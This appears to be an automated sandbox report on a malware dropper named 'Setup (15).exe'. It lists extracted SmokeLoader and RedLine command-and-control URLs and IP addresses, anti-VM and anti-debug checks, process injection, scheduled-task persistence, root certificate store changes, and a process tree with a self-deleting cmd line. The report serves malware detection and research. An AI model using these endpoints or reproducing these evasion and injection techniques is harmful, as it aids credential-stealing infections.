Overview
overview
10Static
static
Setup (1).exe
windows7_x64
Setup (1).exe
windows10_x64
10Setup (10).exe
windows7_x64
10Setup (10).exe
windows10_x64
10Setup (11).exe
windows7_x64
Setup (11).exe
windows10_x64
10Setup (12).exe
windows7_x64
Setup (12).exe
windows10_x64
10Setup (13).exe
windows7_x64
10Setup (13).exe
windows10_x64
10Setup (14).exe
windows7_x64
10Setup (14).exe
windows10_x64
10Setup (15).exe
windows7_x64
10Setup (15).exe
windows10_x64
10Setup (16).exe
windows7_x64
10Setup (16).exe
windows10_x64
10Setup (17).exe
windows7_x64
10Setup (17).exe
windows10_x64
10Setup (18).exe
windows7_x64
10Setup (18).exe
windows10_x64
10Setup (19).exe
windows7_x64
10Setup (19).exe
windows10_x64
10Setup (2).exe
windows7_x64
10Setup (2).exe
windows10_x64
10Setup (20).exe
windows7_x64
10Setup (20).exe
windows10_x64
10Setup (21).exe
windows7_x64
Setup (21).exe
windows10_x64
10Setup (22).exe
windows7_x64
Setup (22).exe
windows10_x64
10Setup (23).exe
windows7_x64
10Setup (23).exe
windows10_x64
10Resubmissions
15/10/2024, 15:36
241015-s1zlzasdkc 1001/07/2024, 18:32
240701-w6yteawhmq 1001/07/2024, 14:52
240701-r82wmaxdnd 1001/07/2024, 14:52
240701-r8syqa1dpp 1011/03/2024, 21:22
240311-z8dsssgg58 1001/09/2021, 13:18
210901-5bmxjspa5s 1001/09/2021, 13:04
210901-te4btfspqa 1001/09/2021, 05:12
210901-4wnkwm1p3j 1031/08/2021, 21:47
210831-41rp97dma2 10Analysis
-
max time kernel
144s -
max time network
1808s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
27/08/2021, 15:40
Static task
static1
Behavioral task
behavioral1
Sample
Setup (1).exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
Setup (1).exe
Resource
win10v20210408
Behavioral task
behavioral3
Sample
Setup (10).exe
Resource
win7v20210410
Behavioral task
behavioral4
Sample
Setup (10).exe
Resource
win10v20210408
Behavioral task
behavioral5
Sample
Setup (11).exe
Resource
win7v20210410
Behavioral task
behavioral6
Sample
Setup (11).exe
Resource
win10v20210410
Behavioral task
behavioral7
Sample
Setup (12).exe
Resource
win7v20210408
Behavioral task
behavioral8
Sample
Setup (12).exe
Resource
win10v20210410
Behavioral task
behavioral9
Sample
Setup (13).exe
Resource
win7v20210408
Behavioral task
behavioral10
Sample
Setup (13).exe
Resource
win10v20210410
Behavioral task
behavioral11
Sample
Setup (14).exe
Resource
win7v20210410
Behavioral task
behavioral12
Sample
Setup (14).exe
Resource
win10v20210408
Behavioral task
behavioral13
Sample
Setup (15).exe
Resource
win7v20210410
Behavioral task
behavioral14
Sample
Setup (15).exe
Resource
win10v20210408
Behavioral task
behavioral15
Sample
Setup (16).exe
Resource
win7v20210410
Behavioral task
behavioral16
Sample
Setup (16).exe
Resource
win10v20210408
Behavioral task
behavioral17
Sample
Setup (17).exe
Resource
win7v20210410
Behavioral task
behavioral18
Sample
Setup (17).exe
Resource
win10v20210410
Behavioral task
behavioral19
Sample
Setup (18).exe
Resource
win7v20210408
Behavioral task
behavioral20
Sample
Setup (18).exe
Resource
win10v20210410
Behavioral task
behavioral21
Sample
Setup (19).exe
Resource
win7v20210408
Behavioral task
behavioral22
Sample
Setup (19).exe
Resource
win10v20210410
Behavioral task
behavioral23
Sample
Setup (2).exe
Resource
win7v20210408
Behavioral task
behavioral24
Sample
Setup (2).exe
Resource
win10v20210410
Behavioral task
behavioral25
Sample
Setup (20).exe
Resource
win7v20210410
Behavioral task
behavioral26
Sample
Setup (20).exe
Resource
win10v20210408
Behavioral task
behavioral27
Sample
Setup (21).exe
Resource
win7v20210410
Behavioral task
behavioral28
Sample
Setup (21).exe
Resource
win10v20210408
Behavioral task
behavioral29
Sample
Setup (22).exe
Resource
win7v20210410
Behavioral task
behavioral30
Sample
Setup (22).exe
Resource
win10v20210408
Behavioral task
behavioral31
Sample
Setup (23).exe
Resource
win7v20210410
Behavioral task
behavioral32
Sample
Setup (23).exe
Resource
win10v20210410
General
-
Target
Setup (15).exe
-
Size
631KB
-
MD5
cb927513ff8ebff4dd52a47f7e42f934
-
SHA1
0de47c02a8adc4940a6c18621b4e4a619641d029
-
SHA256
fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f
-
SHA512
988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c
Malware Config
Extracted
smokeloader
2020
http://readinglistforaugust1.xyz/
http://readinglistforaugust2.xyz/
http://readinglistforaugust3.xyz/
http://readinglistforaugust4.xyz/
http://readinglistforaugust5.xyz/
http://readinglistforaugust6.xyz/
http://readinglistforaugust7.xyz/
http://readinglistforaugust8.xyz/
http://readinglistforaugust9.xyz/
http://readinglistforaugust10.xyz/
http://readinglistforaugust1.site/
http://readinglistforaugust2.site/
http://readinglistforaugust3.site/
http://readinglistforaugust4.site/
http://readinglistforaugust5.site/
http://readinglistforaugust6.site/
http://readinglistforaugust7.site/
http://readinglistforaugust8.site/
http://readinglistforaugust9.site/
http://readinglistforaugust10.site/
http://readinglistforaugust1.club/
http://readinglistforaugust2.club/
http://readinglistforaugust3.club/
http://readinglistforaugust4.club/
http://readinglistforaugust5.club/
http://readinglistforaugust6.club/
http://readinglistforaugust7.club/
http://readinglistforaugust8.club/
http://readinglistforaugust9.club/
http://readinglistforaugust10.club/
Extracted
redline
205.185.119.191:18846
Extracted
redline
27.08
95.181.172.100:55640
Extracted
redline
supertraff
135.148.139.222:1494
Signatures
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 29 IoCs
resource yara_rule behavioral13/memory/1696-183-0x00000000030F0000-0x000000000310C000-memory.dmp family_redline behavioral13/memory/1696-187-0x0000000004860000-0x000000000487A000-memory.dmp family_redline behavioral13/memory/2856-192-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral13/memory/2856-193-0x000000000041C6B2-mapping.dmp family_redline behavioral13/memory/2856-195-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral13/memory/2936-204-0x000000000041C6B2-mapping.dmp family_redline behavioral13/memory/2964-206-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral13/memory/2964-202-0x000000000041A6B2-mapping.dmp family_redline behavioral13/memory/2964-201-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral13/memory/1104-213-0x000000000041C6B2-mapping.dmp family_redline behavioral13/memory/3036-214-0x000000000041A6B2-mapping.dmp family_redline behavioral13/memory/624-221-0x000000000041A6B2-mapping.dmp family_redline behavioral13/memory/1004-227-0x000000000041A6B2-mapping.dmp family_redline behavioral13/memory/2504-233-0x000000000041A6B2-mapping.dmp family_redline behavioral13/memory/3004-238-0x000000000041A6B2-mapping.dmp family_redline behavioral13/memory/2496-244-0x000000000041A6B2-mapping.dmp family_redline behavioral13/memory/2800-250-0x000000000041A6B2-mapping.dmp family_redline behavioral13/memory/2336-253-0x000000000041A6B2-mapping.dmp family_redline behavioral13/memory/596-260-0x000000000041A6B2-mapping.dmp family_redline behavioral13/memory/800-263-0x000000000041A6B2-mapping.dmp family_redline behavioral13/memory/2260-266-0x000000000041A6B2-mapping.dmp family_redline behavioral13/memory/1496-271-0x000000000041A6B2-mapping.dmp family_redline behavioral13/memory/2952-274-0x000000000041A6B2-mapping.dmp family_redline behavioral13/memory/3196-281-0x000000000041A68E-mapping.dmp family_redline behavioral13/memory/3232-283-0x000000000041A6B2-mapping.dmp family_redline behavioral13/memory/3308-288-0x000000000041A6B2-mapping.dmp family_redline behavioral13/memory/3544-291-0x000000000041A6B2-mapping.dmp family_redline behavioral13/memory/3628-296-0x000000000041A6B2-mapping.dmp family_redline behavioral13/memory/3936-299-0x000000000041A6B2-mapping.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 1 IoCs
resource yara_rule behavioral13/memory/1620-180-0x00000000002B0000-0x000000000034D000-memory.dmp family_vidar -
Downloads MZ/PE file
-
Executes dropped EXE 27 IoCs
pid Process 1496 pBVD1mizW1In6sSINWw3Qvju.exe 852 gOqjIl6Dpedpi7GdO6TzBndx.exe 1376 dmDOxcewXSdZ3vFj4favq_5P.exe 1620 TDe4MC8sSAiIxr67v8bJLvfG.exe 1884 xzwzluHcN1m0HLHnYUMr0bsb.exe 1164 o0KfgPtgpxYrXrYMy2LIrYw9.exe 1392 mbhEEukiP_UrA7GI05R9ych3.exe 1636 0ES0KQEekyd6YUx7YOYdvFTa.exe 1360 1ODxknLzYsK6Ie5b8QMo4sKE.exe 1644 9UZIF8zhw32qIuObBuUMikjW.exe 976 B7XsfrCgGskHjfOWPDuwxrhr.exe 1788 po5wip2c2Meqm9YoJLgPyuSa.exe 1508 ZAitB7XDFmK9fnow_WIru5XD.exe 1796 wyZyUk8jNfJL6WdQXqH6G4rI.exe 1632 8cX5okk1NLmZtdXo03615E6K.exe 680 DA7UYliWUCQjfihW0xT6nybd.exe 1676 ugmvtap6GpHOVRwOJdBGQKYH.exe 1372 GqffZ5TQWAhsazXvza6aeURV.exe 320 vG6WKIA4_3V1Gixf8Dq6FfZe.exe 336 olCL_mZJ2zy2nmb4ccvSu9kg.exe 1180 NpCwsI4X5obqbW9Tq13MRejI.exe 1696 ZN03h586kRVTSEMiGfIeh2DP.exe 1452 FZTZ9kd5uXXF4bDpQs5ueRSg.exe 1516 XdBtUemVgZXIUjzlPbdvbddv.exe 992 GuMSkj6VuBCmDB8bCiQNL_ol.exe 584 2q6Ndnto5EcO_0j6UEoLSCcJ.exe 2304 gOqjIl6Dpedpi7GdO6TzBndx.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion po5wip2c2Meqm9YoJLgPyuSa.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion po5wip2c2Meqm9YoJLgPyuSa.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\International\Geo\Nation Setup (15).exe -
Loads dropped DLL 37 IoCs
pid Process 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe 2040 Setup (15).exe -
resource yara_rule behavioral13/files/0x0003000000013190-100.dat themida behavioral13/files/0x0003000000013190-110.dat themida behavioral13/files/0x00030000000131a6-123.dat themida behavioral13/files/0x00030000000131a6-118.dat themida behavioral13/files/0x00030000000131b8-138.dat themida behavioral13/files/0x00030000000131b8-153.dat themida behavioral13/memory/1788-174-0x0000000000D40000-0x0000000000D41000-memory.dmp themida -
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA po5wip2c2Meqm9YoJLgPyuSa.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 22 ipinfo.io 23 ipinfo.io 154 ipinfo.io 157 ipinfo.io 1316 geoiptool.com -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 1788 po5wip2c2Meqm9YoJLgPyuSa.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 852 set thread context of 2304 852 gOqjIl6Dpedpi7GdO6TzBndx.exe 65 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 4 IoCs
pid pid_target Process procid_target 2376 1884 WerFault.exe 37 1768 1620 WerFault.exe 36 3400 2324 WerFault.exe 144 4680 3720 WerFault.exe 166 -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI gOqjIl6Dpedpi7GdO6TzBndx.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI gOqjIl6Dpedpi7GdO6TzBndx.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI gOqjIl6Dpedpi7GdO6TzBndx.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2540 schtasks.exe 2560 schtasks.exe -
Kills process with taskkill 1 IoCs
pid Process 1560 taskkill.exe -
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b0b000000010000001600000047006c006f00620061006c005300690067006e0000005300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802020f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 Setup (15).exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C Setup (15).exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802025300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c00b000000010000001600000047006c006f00620061006c005300690067006e000000140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 Setup (15).exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 Setup (15).exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 Setup (15).exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 2040 Setup (15).exe 2304 gOqjIl6Dpedpi7GdO6TzBndx.exe 2304 gOqjIl6Dpedpi7GdO6TzBndx.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 2304 gOqjIl6Dpedpi7GdO6TzBndx.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2040 wrote to memory of 852 2040 Setup (15).exe 31 PID 2040 wrote to memory of 852 2040 Setup (15).exe 31 PID 2040 wrote to memory of 852 2040 Setup (15).exe 31 PID 2040 wrote to memory of 852 2040 Setup (15).exe 31 PID 2040 wrote to memory of 1884 2040 Setup (15).exe 37 PID 2040 wrote to memory of 1884 2040 Setup (15).exe 37 PID 2040 wrote to memory of 1884 2040 Setup (15).exe 37 PID 2040 wrote to memory of 1884 2040 Setup (15).exe 37 PID 2040 wrote to memory of 1620 2040 Setup (15).exe 36 PID 2040 wrote to memory of 1620 2040 Setup (15).exe 36 PID 2040 wrote to memory of 1620 2040 Setup (15).exe 36 PID 2040 wrote to memory of 1620 2040 Setup (15).exe 36 PID 2040 wrote to memory of 1164 2040 Setup (15).exe 35 PID 2040 wrote to memory of 1164 2040 Setup (15).exe 35 PID 2040 wrote to memory of 1164 2040 Setup (15).exe 35 PID 2040 wrote to memory of 1164 2040 Setup (15).exe 35 PID 2040 wrote to memory of 1376 2040 Setup (15).exe 34 PID 2040 wrote to memory of 1376 2040 Setup (15).exe 34 PID 2040 wrote to memory of 1376 2040 Setup (15).exe 34 PID 2040 wrote to memory of 1376 2040 Setup (15).exe 34 PID 2040 wrote to memory of 1392 2040 Setup (15).exe 33 PID 2040 wrote to memory of 1392 2040 Setup (15).exe 33 PID 2040 wrote to memory of 1392 2040 Setup (15).exe 33 PID 2040 wrote to memory of 1392 2040 Setup (15).exe 33 PID 2040 wrote to memory of 976 2040 Setup (15).exe 47 PID 2040 wrote to memory of 976 2040 Setup (15).exe 47 PID 2040 wrote to memory of 976 2040 Setup (15).exe 47 PID 2040 wrote to memory of 976 2040 Setup (15).exe 47 PID 2040 wrote to memory of 976 2040 Setup (15).exe 47 PID 2040 wrote to memory of 976 2040 Setup (15).exe 47 PID 2040 wrote to memory of 976 2040 Setup (15).exe 47 PID 2040 wrote to memory of 1636 2040 Setup (15).exe 46 PID 2040 wrote to memory of 1636 2040 Setup (15).exe 46 PID 2040 wrote to memory of 1636 2040 Setup (15).exe 46 PID 2040 wrote to memory of 1636 2040 Setup (15).exe 46 PID 2040 wrote to memory of 2000 2040 Setup (15).exe 45 PID 2040 wrote to memory of 2000 2040 Setup (15).exe 45 PID 2040 wrote to memory of 2000 2040 Setup (15).exe 45 PID 2040 wrote to memory of 2000 2040 Setup (15).exe 45 PID 2040 wrote to memory of 1360 2040 Setup (15).exe 44 PID 2040 wrote to memory of 1360 2040 Setup (15).exe 44 PID 2040 wrote to memory of 1360 2040 Setup (15).exe 44 PID 2040 wrote to memory of 1360 2040 Setup (15).exe 44 PID 2040 wrote to memory of 1508 2040 Setup (15).exe 43 PID 2040 wrote to memory of 1508 2040 Setup (15).exe 43 PID 2040 wrote to memory of 1508 2040 Setup (15).exe 43 PID 2040 wrote to memory of 1508 2040 Setup (15).exe 43 PID 2040 wrote to memory of 1644 2040 Setup (15).exe 42 PID 2040 wrote to memory of 1644 2040 Setup (15).exe 42 PID 2040 wrote to memory of 1644 2040 Setup (15).exe 42 PID 2040 wrote to memory of 1644 2040 Setup (15).exe 42 PID 2040 wrote to memory of 1796 2040 Setup (15).exe 41 PID 2040 wrote to memory of 1796 2040 Setup (15).exe 41 PID 2040 wrote to memory of 1796 2040 Setup (15).exe 41 PID 2040 wrote to memory of 1796 2040 Setup (15).exe 41 PID 2040 wrote to memory of 1796 2040 Setup (15).exe 41 PID 2040 wrote to memory of 1796 2040 Setup (15).exe 41 PID 2040 wrote to memory of 1796 2040 Setup (15).exe 41 PID 2040 wrote to memory of 1788 2040 Setup (15).exe 39 PID 2040 wrote to memory of 1788 2040 Setup (15).exe 39 PID 2040 wrote to memory of 1788 2040 Setup (15).exe 39 PID 2040 wrote to memory of 1788 2040 Setup (15).exe 39 PID 2040 wrote to memory of 1788 2040 Setup (15).exe 39 PID 2040 wrote to memory of 1788 2040 Setup (15).exe 39
Processes
-
C:\Users\Admin\AppData\Local\Temp\Setup (15).exe"C:\Users\Admin\AppData\Local\Temp\Setup (15).exe"1⤵
- Checks computer location settings
- Loads dropped DLL
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2040 -
C:\Users\Admin\Documents\gOqjIl6Dpedpi7GdO6TzBndx.exe"C:\Users\Admin\Documents\gOqjIl6Dpedpi7GdO6TzBndx.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:852 -
C:\Users\Admin\Documents\gOqjIl6Dpedpi7GdO6TzBndx.exe"C:\Users\Admin\Documents\gOqjIl6Dpedpi7GdO6TzBndx.exe"3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2304
-
-
-
C:\Users\Admin\Documents\pBVD1mizW1In6sSINWw3Qvju.exe"C:\Users\Admin\Documents\pBVD1mizW1In6sSINWw3Qvju.exe"2⤵
- Executes dropped EXE
PID:1496
-
-
C:\Users\Admin\Documents\mbhEEukiP_UrA7GI05R9ych3.exe"C:\Users\Admin\Documents\mbhEEukiP_UrA7GI05R9ych3.exe"2⤵
- Executes dropped EXE
PID:1392 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\Ou3tPfureT.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\Ou3tPfureT.exe"3⤵PID:2324
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"4⤵PID:980
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2324 -s 924⤵
- Program crash
PID:3400
-
-
-
-
C:\Users\Admin\Documents\dmDOxcewXSdZ3vFj4favq_5P.exe"C:\Users\Admin\Documents\dmDOxcewXSdZ3vFj4favq_5P.exe"2⤵
- Executes dropped EXE
PID:1376
-
-
C:\Users\Admin\Documents\o0KfgPtgpxYrXrYMy2LIrYw9.exe"C:\Users\Admin\Documents\o0KfgPtgpxYrXrYMy2LIrYw9.exe"2⤵
- Executes dropped EXE
PID:1164 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "o0KfgPtgpxYrXrYMy2LIrYw9.exe" /f & erase "C:\Users\Admin\Documents\o0KfgPtgpxYrXrYMy2LIrYw9.exe" & exit3⤵PID:924
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "o0KfgPtgpxYrXrYMy2LIrYw9.exe" /f4⤵
- Kills process with taskkill
PID:1560
-
-
-
-
C:\Users\Admin\Documents\TDe4MC8sSAiIxr67v8bJLvfG.exe"C:\Users\Admin\Documents\TDe4MC8sSAiIxr67v8bJLvfG.exe"2⤵
- Executes dropped EXE
PID:1620 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1620 -s 7803⤵
- Program crash
PID:1768
-
-
-
C:\Users\Admin\Documents\xzwzluHcN1m0HLHnYUMr0bsb.exe"C:\Users\Admin\Documents\xzwzluHcN1m0HLHnYUMr0bsb.exe"2⤵
- Executes dropped EXE
PID:1884 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1884 -s 1243⤵
